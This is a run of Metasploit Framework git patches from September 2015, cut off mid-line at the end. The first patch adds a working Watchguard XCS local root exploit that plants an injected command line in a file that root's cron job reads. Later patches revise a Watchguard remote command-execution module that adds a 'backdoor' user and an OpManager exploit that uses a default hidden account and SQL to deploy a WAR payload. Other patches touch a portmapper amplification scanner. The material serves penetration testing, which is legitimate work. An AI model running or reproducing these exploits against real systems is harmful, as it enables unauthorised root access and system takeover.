<daniel.jensen.nz@gmail.com> Date: Wed, 16 Sep 2015 23:11:32 +1200 Subject: [PATCH 0640/2172] Split off privesc into a seperate module --- .../freebsd/misc/watchguard_local_privesc.rb | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 modules/exploits/freebsd/misc/watchguard_local_privesc.rb diff --git a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb b/modules/exploits/freebsd/misc/watchguard_local_privesc.rb new file mode 100644 index 0000000000..b8d37f80dc --- /dev/null +++ b/modules/exploits/freebsd/misc/watchguard_local_privesc.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Watchguard XCS Local Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called by root's crontab + which can be exploited to run a command as root within 3 minutes. + }, + 'Author' => + [ + 'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ], + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'SessionTypes' => [ 'shell' ], + 'Privileged' => false, + 'Targets' => + [ + [ 'Watchguard XCS 9.2/10.0', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 29 2015' + )) + end + + def check + #Basic check to see if the device is a Watchguard XCS + res = cmd_exec('uname -a') + return Exploit::CheckCode::Appears if res =~ /support-xcs@watchguard.com/ + + Exploit::CheckCode::Safe + end + + def upload_payload + #Generates and uploads the payload to the device + fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}" + @pl = generate_payload_exe + write_file(fname, @pl) + return nil if not file_exist?(fname) + cmd_exec("chmod +x #{fname}") + return fname + end + + def exploit + print_status("Rooting can take up to 3 minutes.") + + #Generate and upload the payload + filename = upload_payload + fail_with(Failure::NotFound, "Payload failed to upload") if filename.nil? + print_status("Payload #{filename} uploaded.") + + #Sets up empty dummy file needed for privesc + dummy_filename = "/tmp/#{Rex::Text.rand_text_alpha(5)}" + cmd_exec("touch #{dummy_filename}") + vprint_status("Added dummy file") + + #Put the shell injection line into badqids + #setup_privesc = "echo \"../../../../../..#{dummy_filename};#{filename}\" > /var/tmp/badqids" + badqids = write_file("/var/tmp/badqids","../../../../../..#{dummy_filename};#{filename}") + fail_with(Failure::NotFound, "Failed to create badqids file to exploit crontab") if badqids.nil? + print_status("Badqids created, waiting for vulnerable script to be called by crontab...") + #cmd_exec(setup_privesc) + + #Cleanup the files we used + register_file_for_cleanup("/var/tmp/badqids") + register_file_for_cleanup(dummy_filename) + register_file_for_cleanup(filename) + + #Wait for crontab to run vulnerable script + select(nil,nil,nil,180) #Wait 3 minutes to ensure cron script is run + print_status("Ran out of time, should have root shell by now.") + + end + +end From 7985d0d7cb3901ddd1c10f52c651f12be05e3eec Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Wed, 16 Sep 2015 23:29:26 +1200 Subject: [PATCH 0641/2172] Removed privesc functionality, this has been moved to another module. Renamed module --- ..._remote_root.rb => watchguard_cmd_exec.rb} | 50 ++++--------------- 1 file changed, 9 insertions(+), 41 deletions(-) rename modules/exploits/freebsd/http/{watchguard_remote_root.rb => watchguard_cmd_exec.rb} (78%) diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb similarity index 78% rename from modules/exploits/freebsd/http/watchguard_remote_root.rb rename to modules/exploits/freebsd/http/watchguard_cmd_exec.rb index bb052dcbf2..2f7b4b5058 100644 --- a/modules/exploits/freebsd/http/watchguard_remote_root.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -16,14 +16,13 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Watchguard XCS Unauthenticated Remote Root', + 'Name' => 'Watchguard XCS Remote Command Execution', 'Description' => %q{ - This module exploits three seperate vulnerabilities found in the Watchguard XCS virtual appliance - to gain a root shell. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert + This module exploits two seperate vulnerabilities found in the Watchguard XCS virtual appliance + to gain command execution. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert a valid web user into the appliance database, and login to the web interface as this user. A - vulnerability in the web interface allows the attack to inject operating system commands as the - 'nobody' user. A further vulnerability in the 'FixCorruptMail' script called by root's crontab can then be exploited - to run a command as root within 3 minutes. + vulnerability in the web interface allows the attacker to inject operating system commands as the + 'nobody' user. The watchguard_local_root module can then be used for local privesc to root. }, 'Author' => [ @@ -52,9 +51,8 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The target URI', '/']), - OptString.new('USERNAME', [true, 'Add web interface user account', 'backdoor']), + OptString.new('USERNAME', [true, 'Web interface user account to add', 'backdoor']), OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']), - OptBool.new('GETROOT', [false, 'Exploit the root privesc (Takes up to 180 seconds)', true]), Opt::RPORT(443) ], self.class @@ -152,15 +150,9 @@ class Metasploit4 < Msf::Exploit::Remote vprint_status("Chmoding payload #{downfile}...") send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, chmod_cmd) - if(datastore['GETROOT'] == true) - print_status("GETROOT set to true, we will use 'FixCorruptMail' privesc") - get_root(sid_cookie,filename) - else - print_status("GETROOT set to false, setting up a shell as 'nobody'") - exec_cmd = "/tmp/#{filename}" - vprint_status("Running payload #{downfile}...") - send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) - end + exec_cmd = "/tmp/#{filename}" + vprint_status("Running payload #{downfile}...") + send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) end @@ -233,30 +225,6 @@ class Metasploit4 < Msf::Exploit::Remote return true end - def get_root(sid_cookie,filename) - print_status("Rooting can take up to 3 minutes, if you want quicker access retry with GETROOT => false") - - #Touch dummy file as part of privesc - dummy_filename = rand_text_alpha_lower(8) - touch_cmd="touch /tmp/#{dummy_filename}" - vprint_status("Creating dummy file...") - send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, touch_cmd) - - #Put the shell injection line into badqids - setup_privesc = "echo \"../../../../../../tmp/#{dummy_filename};/tmp/#{filename}\" > /var/tmp/badqids" - send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, setup_privesc, true) - - #Need both these files to exploit privesc, delete them once shell opened - register_file_for_cleanup("/var/tmp/badqids") - register_file_for_cleanup("/tmp/#{dummy_filename}") - - #Wait for crontab to run vulnerable script - print_status("Badqids created, waiting for vulnerable script to be called by crontab...") - select(nil,nil,nil,180) #Wait 3 minutes to ensure cron script is run - print_status("Ran out of time, should have root shell by now.") - - end - def generate_device_hash(cleartext_password) #Generates the specific hashes needed for the XCS pre_salt = "BorderWare " From b7572d54945cd66b7b4d3f9524172f8500c78a66 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 16 Sep 2015 08:11:15 -0700 Subject: [PATCH 0642/2172] Handle both serialized & unserialized cases on import --- .../db_manager/import/metasploit_framework/xml.rb | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb index 8ca86081fa..e5bb16275e 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -241,7 +241,18 @@ module Msf::DBManager::Import::MetasploitFramework::XML host_data = {} host_data[:task] = args[:task] host_data[:workspace] = wspace - host_data[:host] = nils_for_nulls(unserialize_object(host.elements["address"])) + + # A regression resulted in the address field being serialized in some cases. + # Lets handle both instances to keep things happy. See #5837 & #5985 + addr = nils_for_nulls(host.elements["address"]) + next unless addr + + # No period or colon means this must be in base64-encoded serialized form + if addr !~ /[\.\:]/ + addr = unserialize_object(addr) + end + + host_data[:host] = addr if bl.include? host_data[:host] next else From b0858e9d46248f2dd6029d3c50947afef7ba0672 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 16 Sep 2015 08:15:26 -0700 Subject: [PATCH 0643/2172] Style tweak re: TheLightCosine's feedback --- lib/msf/core/exploit.rb | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index a2a6c00688..bf4c8ec2e2 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1193,10 +1193,8 @@ class Exploit < Msf::Module # value can be one of the Handler::constants. # def handler(*args) - return unless ( - payload_instance && - handler_enabled? - ) + return unless payload_instance + return unless handler_enabled? payload_instance.handler(*args) end @@ -1204,11 +1202,9 @@ class Exploit < Msf::Module # Break out of the session wait loop (WfsDelay) # def interrupt_handler - return unless ( - payload_instance && - handler_enabled? && - payload_instance.respond_to?(:interrupt_wait_for_session) - ) + return unless payload_instance + return unless handler_enabled? + return unless payload_instance.respond_to?(:interrupt_wait_for_session) payload_instance.interrupt_wait_for_session() end From f3b6606709ceb5db8ace6f912d335445ef0f7c2b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 11:26:15 -0500 Subject: [PATCH 0644/2172] Fix check method --- .../misc/manageengine_opmanager_rce.rb | 21 ++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb index 5d53e81e73..cbd1b6f55c 100644 --- a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb +++ b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote end def uri - return target_uri.path + target_uri.path end def check @@ -57,18 +57,25 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, "LoginPage.do") + 'uri' => normalize_uri(uri, 'LoginPage.do') }) - if res && res.code == 200 && res.body =~ /v\.([0-9]+\.[0-9]+)<\/span>/ + unless res && res.code == 200 + return Exploit::CheckCode::Safe + end + + if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/ version = $1 - if version.to_f <= 11.5 - return Exploit::CheckCode::Vulnerable + if Gem::Version.new(version) <= Gem::Version.new('11.6') + return Exploit::CheckCode::Appears else - return Exploit::CheckCode::Safe + # Patch unknown + return Exploit::CheckCode::Detected end + elsif res.body =~ /OpManager/ + return Exploit::CheckCode::Detected else - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end end From 0010b418d0cd025e3a944b049bbddfa8a6d7b665 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 11:31:15 -0500 Subject: [PATCH 0645/2172] Do minor code cleanup --- .../misc/manageengine_opmanager_rce.rb | 31 ++++++++++--------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb index cbd1b6f55c..f4488c1a64 100644 --- a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb +++ b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb @@ -6,7 +6,8 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + # It removes large object in database, shoudn't be a problem, but just in case.... + Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper @@ -82,23 +83,23 @@ class Metasploit3 < Msf::Exploit::Remote def sql_query( key, query ) res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(uri, "api", "json", "admin", "SubmitQuery"), + 'uri' => normalize_uri(uri, 'api', 'json', 'admin', 'SubmitQuery'), 'vars_get' => { 'apiKey' => key }, 'vars_post' => { 'query' => query } }) - if not res or res.code != 200 + unless res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - Query was not succesful!") end - return res + res end def exploit print_status("#{peer} - Access login page") res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(uri, "jsp", "Login.do"), + 'uri' => normalize_uri(uri, 'jsp', 'Login.do'), 'vars_post' => { 'domainName' => 'NULL', 'authType' => 'localUserLogin', @@ -118,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote # Follow redirection process print_status("#{peer} - Following redirection") res = send_request_cgi({ - 'uri' => "#{redirect}", + 'uri' => redirect, 'method' => 'GET' }) @@ -136,29 +137,29 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing SQL queries") # Remove large object in database, just in case it exists from previous exploit attempts - sql = "SELECT lo_unlink(-1)" - result = sql_query(api_key, sql) + sql = 'SELECT lo_unlink(-1)' + sql_query(api_key, sql) # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks. - sql = "SELECT lo_create(-1)" + sql = 'SELECT lo_create(-1)' result = sql_query(api_key, sql) if result.body =~ /lo_create":([0-9]+)}/ - loid = $1 + lo_id = $1 else fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!") end # Insert WAR payload into the pg_largeobject table. We have to use /**/ to bypass OpManager'sa checks for INSERT/UPDATE/DELETE, etc. - sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{loid}, 0, DECODE('#{war_payload_base64}', 'base64'))" + sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{lo_id}, 0, DECODE('#{war_payload_base64}', 'base64'))" sql_query(api_key, sql) # Export our large object id data into a WAR file - sql = "SELECT lo_export(#{loid}, '..//..//tomcat//webapps//#{app_base}.war');" + sql = "SELECT lo_export(#{lo_id}, '..//..//tomcat//webapps//#{app_base}.war');" sql_query(api_key, sql) # Remove our large object in the database - sql = "SELECT lo_unlink(-1)" - result = sql_query(api_key, sql) + sql = 'SELECT lo_unlink(-1)' + sql_query(api_key, sql) print_status("#{peer} - Waiting #{datastore['WAIT']} seconds for WAR deployment") sleep(datastore['WAIT']) @@ -175,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote # If the server returns 200 and the body contains our payload name, # we assume we uploaded the malicious file successfully - if not res or res.code != 200 + unless res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - WAR File wasn't deployed, aborting!") end From bef658f699d34a5f117e7cafe498e82d40f04bea Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 16 Sep 2015 11:32:09 -0500 Subject: [PATCH 0646/2172] typo --- modules/auxiliary/server/android_mercury_parseuri.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb index e30363a59a..1e185250fa 100644 --- a/modules/auxiliary/server/android_mercury_parseuri.rb +++ b/modules/auxiliary/server/android_mercury_parseuri.rb @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary | end - def on_request_uri(ci, req) + def on_request_uri(cli, req) print_status("Requesting: #{req.uri}") unless is_android?(req.headers['User-Agent']) From b4aab70d183fd21d87230935d477ecb18977c0d6 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 16 Sep 2015 11:34:22 -0500 Subject: [PATCH 0647/2172] Fix another typo --- modules/auxiliary/server/android_mercury_parseuri.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb index 1e185250fa..9ecc27d8c8 100644 --- a/modules/auxiliary/server/android_mercury_parseuri.rb +++ b/modules/auxiliary/server/android_mercury_parseuri.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary def get_xml_files(rhost) base_dir = '../../../../data/data/com.ilegendsoft.mercury' - ['mercury_database.db', '/shared_prefs/passcode.xml'].each do |item| + ['/mercury_database.db', '/shared_prefs/passcode.xml'].each do |item| opts = { 'method' => 'GET', 'uri' => '/dodownload', From aead0618c7abb4bfaa2363d548833feafe22ddcf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 11:37:49 -0500 Subject: [PATCH 0648/2172] Avoid the WAIT option --- .../misc/manageengine_opmanager_rce.rb | 31 ++++++++----------- 1 file changed, 13 insertions(+), 18 deletions(-) diff --git a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb index f4488c1a64..4d2438801b 100644 --- a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb +++ b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb @@ -41,11 +41,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'DisclosureDate' => "Sep 14 2015", 'DefaultTarget' => 0)) - - register_options( - [ - OptInt.new('WAIT', [true, 'Seconds to wait for WAR deployment', 15]), - ], self.class) end def uri @@ -161,23 +156,23 @@ class Metasploit3 < Msf::Exploit::Remote sql = 'SELECT lo_unlink(-1)' sql_query(api_key, sql) - print_status("#{peer} - Waiting #{datastore['WAIT']} seconds for WAR deployment") - sleep(datastore['WAIT']) - register_file_for_cleanup("tomcat//webapps//#{app_base}.war") register_file_for_cleanup("tomcat//webapps//#{app_base}") - random_jsp = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp' - print_status("#{peer} - Executing Payload") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, app_base, "#{random_jsp}"), - }) + 10.times do + select(nil, nil, nil, 2) - # If the server returns 200 and the body contains our payload name, - # we assume we uploaded the malicious file successfully - unless res && res.code == 200 - fail_with(Failure::Unknown, "#{peer} - WAR File wasn't deployed, aborting!") + # Now make a request to trigger the newly deployed war + print_status("#{peer} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, app_base, "#{Rex::Text.rand_text_alpha(rand(8) + 8)}.jsp"), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 end end From 122103b1972f2d64db8e5bc8ea88acc8d950dad7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 11:41:23 -0500 Subject: [PATCH 0649/2172] Do minor metadata cleanup --- .../windows/misc/manageengine_opmanager_rce.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb index 4d2438801b..28db54a8e8 100644 --- a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb +++ b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb @@ -14,15 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "ManageEngine OpManager Remote Code Execution", + 'Name' => 'ManageEngine OpManager Remote Code Execution', 'Description' => %q{ - This module exploits a default credential vulnerability in ManageEngine OpManager. - The vulnerability exists because a default hidden account "IntegrationUser" with administrator - privileges is shipped with every installation of ManageEngine OpManager. The account has - a default password of "plugin", which can not be reset through the OpManager user interface. - By logging in and abusing the default administrator's SQL query functionality, it's possible - to write a WAR payload to disk and trigger an automatic deployment of this payload. - This module has been tested successfully on OpManager v11.5 for Windows. }, + This module exploits a default credential vulnerability in ManageEngine OpManager, where a + default hidden account "IntegrationUser" with administrator privileges exists. The account + has a default password of "plugin" which can not be reset through the user interface. By + log-in and abusing the default administrator's SQL query functionality, it's possible to + write a WAR payload to disk and trigger an automatic deployment of this payload. This + module has been tested successfully on OpManager v11.5 and v11.6 for Windows. + }, 'License' => MSF_LICENSE, 'Author' => [ @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ['ManageEngine OpManager v11.5', {}] ], 'Privileged' => false, - 'DisclosureDate' => "Sep 14 2015", + 'DisclosureDate' => 'Sep 14 2015', 'DefaultTarget' => 0)) end From 1b50dfc367636986373e8bd0ab7607687c41c89a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 11:43:09 -0500 Subject: [PATCH 0650/2172] Change module location --- .../manage_engine_opmanager_rce.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/{misc/manageengine_opmanager_rce.rb => http/manage_engine_opmanager_rce.rb} (100%) diff --git a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb similarity index 100% rename from modules/exploits/windows/misc/manageengine_opmanager_rce.rb rename to modules/exploits/windows/http/manage_engine_opmanager_rce.rb From 8f755db850e390ac5f5be59c59b9eebbf6c369f0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 13:19:16 -0500 Subject: [PATCH 0651/2172] Update version --- modules/exploits/windows/http/manage_engine_opmanager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb index 28db54a8e8..7af2821d23 100644 --- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb +++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_JAVA, 'Targets' => [ - ['ManageEngine OpManager v11.5', {}] + ['ManageEngine OpManager v11.6', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Sep 14 2015', From 939999f43cc8b73e3c21a8a1ef9efb8e3bef1ad4 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 16 Sep 2015 13:43:11 -0500 Subject: [PATCH 0652/2172] Check \ --- tools/extract_msu.bat | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tools/extract_msu.bat b/tools/extract_msu.bat index a8140103f2..5e6008b3aa 100644 --- a/tools/extract_msu.bat +++ b/tools/extract_msu.bat @@ -12,6 +12,10 @@ if [%arg%] == [] ( exit /B ) +if not "!arg:~-1,1!" == "\" ( + @set arg=!arg!\ +) + for /f %%f in ('dir /B %arg%') DO ( @set fname=%%f From 8ae884c1fc88cc0ba5faca6e3a0f005b6afcc2d3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 14:46:11 -0500 Subject: [PATCH 0653/2172] Do code cleanup --- .../auxiliary/scanner/portmap/portmap_amp.rb | 140 +++++++----------- 1 file changed, 54 insertions(+), 86 deletions(-) diff --git a/modules/auxiliary/scanner/portmap/portmap_amp.rb b/modules/auxiliary/scanner/portmap/portmap_amp.rb index 20b90b8a02..abc7f8ca76 100644 --- a/modules/auxiliary/scanner/portmap/portmap_amp.rb +++ b/modules/auxiliary/scanner/portmap/portmap_amp.rb @@ -11,22 +11,19 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::UDPScanner include Msf::Auxiliary::DRDoS - XID_SUMMARY = [Rex::Text::rand_text_numeric(8).to_i].pack("N") - XID_METRICS = [Rex::Text::rand_text_numeric(8).to_i].pack("N") - XID_DUMP = [Rex::Text::rand_text_numeric(8).to_i].pack("N") - def initialize super( - 'Name' => 'Portmap Amplification Scanner', + 'Name' => 'Portmapper Amplification Scanner', 'Description' => %q{ - This module can be used to discover Portmap servers which expose unauthenticated - functionality that can be used in an amplication attack against a third party. + This module can be used to discover Portmapper services which can be used in an + amplification DDoS attack against a third party. }, - 'Author' => [ 'xistence <xistence[at]0x90.nl>'], # Original scanner module + 'Author' => ['xistence <xistence[at]0x90.nl>'], 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A'] + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A'], + ['URL', 'http://blog.level3.com/security/a-new-ddos-reflection-attack-portmapper-an-early-warning-to-the-industry/'] ], ) @@ -39,12 +36,24 @@ class Metasploit3 < Msf::Auxiliary datastore['RPORT'] end + def xid_summary + @xid_summary ||= [Rex::Text::rand_text_numeric(8).to_i].pack('N') + end + + def xid_dump + @xid_dump ||= [Rex::Text::rand_text_numeric(8).to_i].pack('N') + end + + def xid_metrics + @xid_metrics ||= [Rex::Text::rand_text_numeric(8).to_i].pack('N') + end + def setup super # RPC DUMP (Program version: 3) request: rpcinfo -T udp -s <IP> - @portmap_summary = "" - @portmap_summary << XID_SUMMARY # Random ID + @portmap_summary = '' + @portmap_summary << xid_summary # Random ID @portmap_summary << "\x00\x00\x00\x00" # Message Type: 0 (Call) @portmap_summary << "\x00\x00\x00\x02" # RPC Version: 2 @portmap_summary << "\x00\x01\x86\xa0" # Program: Portmap (10000) @@ -55,9 +64,9 @@ class Metasploit3 < Msf::Auxiliary @portmap_summary << "\x00\x00\x00\x00" # Verifier Flavor: AUTH_NULL (0) @portmap_summary << "\x00\x00\x00\x00" # Verifier Length: 0 - # RPC DUMP (Program version: 3) request: rpcinfo -T udp -p <IP> - @portmap_dump = "" - @portmap_dump << XID_DUMP # Random ID + # RPC DUMP (Program version: 2) request: rpcinfo -T udp -p <IP> + @portmap_dump = '' + @portmap_dump << xid_dump # Random ID @portmap_dump << "\x00\x00\x00\x00" # Message Type: 0 (Call) @portmap_dump << "\x00\x00\x00\x02" # RPC Version: 2 @portmap_dump << "\x00\x01\x86\xa0" # Program: Portmap (10000) @@ -69,8 +78,8 @@ class Metasploit3 < Msf::Auxiliary @portmap_dump << "\x00\x00\x00\x00" # Verifier Length: 0 # RPC GETSTAT request: rpcinfo -T udp -m <IP> - @portmap_metrics = "" - @portmap_metrics << XID_METRICS # Random ID + @portmap_metrics = '' + @portmap_metrics << xid_metrics # Random ID @portmap_metrics << "\x00\x00\x00\x00" # Message Type: 0 (Call) @portmap_metrics << "\x00\x00\x00\x02" # RPC Version: 2 @portmap_metrics << "\x00\x01\x86\xa0" # Program: Portmap (10000) @@ -80,7 +89,6 @@ class Metasploit3 < Msf::Auxiliary @portmap_metrics << "\x00\x00\x00\x00" # Credentials Length: 0 @portmap_metrics << "\x00\x00\x00\x00" # Verifier Flavor: AUTH_NULL (0) @portmap_metrics << "\x00\x00\x00\x00" # Verifier Length: 0 - end def scanner_prescan(batch) @@ -104,13 +112,13 @@ class Metasploit3 < Msf::Auxiliary end def scanner_process(data, shost, sport) - if data =~ /#{XID_SUMMARY}\x00\x00\x00\x01/ + if data =~ /#{@xid_summary}\x00\x00\x00\x01/ @results_summary[shost] ||= [] @results_summary[shost] << data - elsif data =~ /#{XID_METRICS}\x00\x00\x00\x01/ + elsif data =~ /#{@xid_metrics}\x00\x00\x00\x01/ @results_metrics[shost] ||= [] @results_metrics[shost] << data - elsif data =~ /#{XID_DUMP}\x00\x00\x00\x01/ + elsif data =~ /#{@xid_dump}\x00\x00\x00\x01/ @results_dump[shost] ||= [] @results_dump[shost] << data else @@ -122,85 +130,45 @@ class Metasploit3 < Msf::Auxiliary def scanner_postscan(batch) @results_summary.keys.each do |k| response_map_summary = { @portmap_summary => @results_summary[k] } - - report_service( - host: k, - proto: 'udp', - port: rport, - name: 'portmap' - ) - - peer = "#{k}:#{rport}" - vulnerable, proof = prove_amplification(response_map_summary) what = 'Portmap RPC DUMP (Program version: 3) amplification' - if vulnerable - print_good("#{peer} - Vulnerable to #{what}: #{proof}") - report_vuln( - host: k, - port: rport, - proto: 'udp', - name: what, - refs: references - ) - else - vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") - end + report_result(k, what, response_map_summary) end @results_dump.keys.each do |k| response_map_dump = { @portmap_dump => @results_dump[k] } - - report_service( - host: k, - proto: 'udp', - port: rport, - name: 'portmap' - ) - - peer = "#{k}:#{rport}" - vulnerable, proof = prove_amplification(response_map_dump) what = 'Portmap RPC DUMP (Program version: 2) amplification' - if vulnerable - print_good("#{peer} - Vulnerable to #{what}: #{proof}") - report_vuln( - host: k, - port: rport, - proto: 'udp', - name: what, - refs: references - ) - else - vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") - end + report_result(k, what, response_map_dump) end @results_metrics.keys.each do |k| response_map_metrics = { @portmap_summary => @results_metrics[k] } - - report_service( - host: k, - proto: 'udp', - port: rport, - name: 'portmap' - ) - - peer = "#{k}:#{rport}" - vulnerable, proof = prove_amplification(response_map_metrics) what = 'Portmap RPC GETSTAT amplification' - if vulnerable - print_good("#{peer} - Vulnerable to #{what}: #{proof}") - report_vuln( - host: k, - port: rport, - proto: 'udp', - name: what, - refs: references - ) - else - vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") - end + report_result(k, what, response_map_metrics) end + end + def report_result(host, attack, map) + report_service( + host: host, + proto: 'udp', + port: rport, + name: 'portmap' + ) + + peer = "#{host}:#{rport}" + vulnerable, proof = prove_amplification(map) + if vulnerable + print_good("#{peer} - Vulnerable to #{attack}: #{proof}") + report_vuln( + host: host, + port: rport, + proto: 'udp', + name: attack, + refs: references + ) + else + vprint_status("#{peer} - Not vulnerable to 